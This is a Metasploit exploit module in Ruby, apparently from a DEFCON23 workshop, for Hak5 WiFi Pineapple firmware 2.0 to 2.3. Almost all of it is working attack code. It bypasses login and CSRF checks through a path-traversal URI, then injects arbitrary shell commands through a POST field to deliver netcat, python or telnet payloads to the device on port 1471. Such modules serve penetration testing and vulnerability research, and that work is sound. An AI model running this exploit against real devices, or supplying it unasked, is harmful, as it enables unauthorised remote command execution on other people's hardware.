##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Hak5 WiFi Pineapple Preconfiguration Command Injection',
      'Description'    => %q{
      This module exploits a login/csrf check bypass vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
      These devices may typically be identified by their SSID beacons of 'Pineapple5_....';
      Provided as part of the TospoVirus workshop at DEFCON23.
      },
      'Author'         => ['catatonicprime'],
      'License'        => MSF_LICENSE,
      'References'     => [ ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        => {
        'Space'        => 2048,
        'DisableNops'  => true,
        'Compat'       =>
          {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'generic python netcat telnet'
          }
      },
      'Targets'        =>
        [
          [ 'WiFi Pineapple 2.0.0 - 2.3.0', {} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 1 2015'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]),
        Opt::RPORT(1471),
        Opt::RHOST('172.16.42.1')
      ]
    )

    deregister_options(
      'ContextInformationFile',
      'DOMAIN',
      'DigestAuthIIS',
      'EnableContextEncoding',
      'FingerprintCheck',
      'HttpClientTimeout',
      'NTLM::SendLM',
      'NTLM::SendNTLM',
      'NTLM::SendSPN',
      'NTLM::UseLMKey',
      'NTLM::UseNTLM2_session',
      'NTLM::UseNTLMv2',
      'SSL',
      'SSLVersion',
      'VERBOSE',
      'WORKSPACE',
      'WfsDelay',
      'Proxies',
      'VHOST'
    )
  end

  def cmd_uri
    normalize_uri('includes', 'css', 'styles.php', '../../..', target_uri.path)
  end

  def cmd_inject(cmd)
    res = send_request_cgi(
      'method'     => 'POST',
      'uri'        => cmd_uri,
      'vars_get'   => {
        'execute'  => "" # Presence triggers command execution
      },
      'vars_post'  => {
        'commands' => cmd
      })
    res
  end

  def check
    res = cmd_inject("echo")
    if res && res.code == 200 && res.body =~ /Executing/
      return Exploit::CheckCode::Vulnerable
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    print_status('Attempting to bypass login/csrf checks...')
    unless check
      fail_with(Failure::NoAccess, 'Failed to bypass login/csrf check...')
    end
    print_status('Executing payload...')
    cmd_inject("#{payload.encoded}")
  end
end
